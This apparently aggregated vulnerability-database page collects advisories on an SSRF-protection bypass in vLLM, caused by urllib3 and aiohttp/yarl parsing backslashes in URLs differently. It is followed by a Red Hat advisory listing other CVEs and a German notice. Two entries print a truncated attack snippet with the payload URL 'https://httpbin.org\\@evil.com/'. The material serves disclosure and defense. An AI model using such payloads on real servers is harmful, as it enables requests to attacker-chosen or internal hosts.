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bdu:2026-06585

EUVD-2026-339104

fkie_cve-2026-25960

vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.

GHSA-v359-jj2v-j536 — vLLM has SSRF Protection Bypass

Affected: PyPI: vllm

## Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

## Affected Component

- **File**: `vllm/connections.py` - **Function**: `load_from_url_async`

## Vulnerability Details

### Root Cause

The SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.

These two URL parsers handle backslash characters (`\`) differently:

| Parser | Input URL | Parsed Host | Parsed Path | Behavior | |--------|-----------|-------------|-------------|----------| | `urllib3.parse_url()` | `https://httpbin.org\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\` as `%5C`, treats `\@evil.com/` as part of the path | | `yarl` (via aiohttp) | `https://httpbin.org\@evil.com/` | `evil.com` | `/` | Treats `\` as part of userinfo (`user: httpbin.org\`), the `@` acts as the userinfo/host separator |

### Attack Scenario

```python # Attacker provides this URL malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url) parsed = urllib3.util.parse_url(malicious_url) # parsed.host == "httpbin.org" ✅ Passes vali…

PYSEC-2026-3411 — vLLM has SSRF Protection Bypass

Affected: PyPI: vllm

## Summary

## Affected Component

- **File**: `vllm/connections.py` - **Function**: `load_from_url_async`

## Vulnerability Details

### Root Cause

These two URL parsers handle backslash characters (`\`) differently:

### Attack Scenario

```python # Attacker provides this URL malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url) parsed = urllib3.util.parse_url(malicious_url) # parsed.host == "httpbin.org" ✅ Passes vali…

RHSA-2026:24977 — Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI

bouncycastle: BC-JAVA: GOSTCTR implementation unable to process more than 255 blocks correctly vllm: HTTP header size limit not enforced allows Denial of Service from Unauthenticated requests golang: net/url: Memory exhaustion in query parameter parsing in net/url axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization aiohttp: aiohttp: Denial of Service via specially crafted POST request aiohttp: aiohttp: Denial of Service via memory exhaustion from crafted POST request keras: Keras: Arbitrary Code Execution Vulnerability Bypassing Safe Mode lodash: lodash: Arbitrary code execution via untrusted input in template imports fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies pyasn1: pyasn1: Denial of Service due to memory exhaustion from malformed RELATIVE-OID pytorch: PyTorch: Arbitrary code execution via malicious checkpoint file loading xgrammar: xgrammar: Denial of Service via multi-level nested syntax vLLM: vLLM: Server-Side Request Forgery bypass via inconsistent URL parsing onnx: ONNX: Information Disclosure via Path Traversal Vulnerability vllm: vLLM: Remote code execution due to hardcoded trust_remote_code setting onnx: ONNX: Untrusted Model Repository Warnings Suppressed python-dotenv: python-dotenv: Arbitrary file overwrite via symbolic link following immutable-js: Immutable.js: Arbitrary code execution via Prototype Pollution svgo: SVGO: Denial of Service via XML entity expansion tornado-pyth…

WID-SEC-W-2026-0648 — vllm: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen

Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in vllm ausnutzen, um Sicherheitsvorkehrungen zu umgehen.